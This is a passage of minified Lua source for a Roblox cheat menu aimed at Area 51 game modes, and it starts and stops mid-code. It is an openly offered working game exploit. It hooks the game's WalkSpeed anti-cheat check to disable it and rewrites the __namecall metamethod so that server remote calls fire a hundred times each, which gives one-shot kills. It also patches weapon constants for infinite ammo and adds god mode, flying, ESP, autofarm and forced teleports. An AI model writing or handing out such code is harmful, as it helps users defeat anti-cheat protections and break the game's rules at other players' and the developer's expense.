m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove Toxic Water","Removes Toxic-Water.",function()game:GetService("Workspace").AREA51.Map.BossRoom.ToxicWater:Destroy()end)z:NewToggle("Remove Kill Parts","Removes Kill Parts.",function(R)if R then while wait()do for a2,v in pairs(game.Workspace:GetChildren())do if v:IsA("TouchTransmitter")then v:Destroy()end end end end end)z:NewButton("Get Case File","Gives you case-file.",function()firetouchinterest(k.Character.HumanoidRootPart,game:GetService("Workspace")["Case file"].Hitbox,0)end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Boss","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==3508248007 then local o="BloodTheme"local x=n.CreateLib("Area 51 Storming UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")z:NewToggle("Autofarm Killers:","Enables Autofarm for Killers",function(R)if R then m.Notify("Enabled Autofarm","This is buggy.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})local l=game.Workspace.CurrentCamera;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end;for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end;for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Character end end;_G.autoFarm=true;while wait(0.5)do if _G.autoFarm==true then game:GetService("Players").LocalPlayer.PlayerScripts.Checks.Disabled=true;for a2,al in pairs(game.Workspace.Killers:GetChildren())do if al:IsA("Model")then repeat wait()game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame=al.Head.CFrame+al.Head.CFrame.lookVector*-5 until al.Humanoid.Health<=0 end end end end else G.autoFarm=false;workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)z:NewButton("Get Code for Door","Please walk after clicking this.",function()m.Notify("Get Code","Enabled Please walk forward the first number is the first numeral for the door.","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})for a2,v in pairs(game:GetService("Workspace").AREA51.CodeModel:GetDescendants())do if v:IsA("Part")then wait(.33)v.CFrame=game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame end end end)local y=x:NewTab("Gun Mods:")local z=y:NewSection("")z:NewButton('Get all Weapons','Gives you all the weapons in-game.',function()for a2,v in pairs(game.Workspace:GetDescendants())do if v:IsA("ClickDetector")then fireclickdetector(v)end end end)z:NewButton('Infinite-Ammo',"Gives you Infinite-Ammo for your weapons.",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"MissileTouch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)local a8={repeatamount=100,exceptions={"SayMessageRequest"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()for K,a7 in next,a8.exceptions do if ac.Name==a7 then return aa(ac,...)end end;if ae=="FireServer"or ae=="InvokeServer"then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)local y=x:NewTab("Remove Parts:")local z=y:NewSection("")z:NewButton('Remove Invisible Walls','Click this button to remove the Invisible walls around the map.',function()game:GetService("Workspace")["Invisible Walls"]:Destroy()end)z:NewToggle("Remove Cutscenes","Removes cutscenes from Area-51-Game",function(R)if R then _G.cutScene=true;while wait()do if _G.cutScene==true then workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end else _G.cutScene=false end end)z:NewButton("Remove-Doors","This removes all the doors this cannot be undone.",function()for K,v in pairs(game:GetService('Workspace'):GetDescendants())do if v:IsA("Part")and v.Parent.Name=="Door"then v:Destroy()end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("")z:NewToggle("Loop Teleport to Leader","Enable/Disable to loop teleport to leader.",function(R)if R then _G.loopTeleport=true;while wait()do if _G.loopTeleport==true then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace")["Characters to kill"].Leader.Torso.CFrame end end else _G.loopTeleport=false end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(2675280735,k)end)z:NewButton("Killhouse","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)z:NewButton("Area-51 Storming","Click on this button to join the game.",function()game:GetService("TeleportService"):Teleport(3508248007,k)end)elseif game.PlaceId==4631179692 then local o="BloodTheme"local x=n.CreateLib("Killhouse UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Main:")local z=y:NewSection("")local am=''z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if 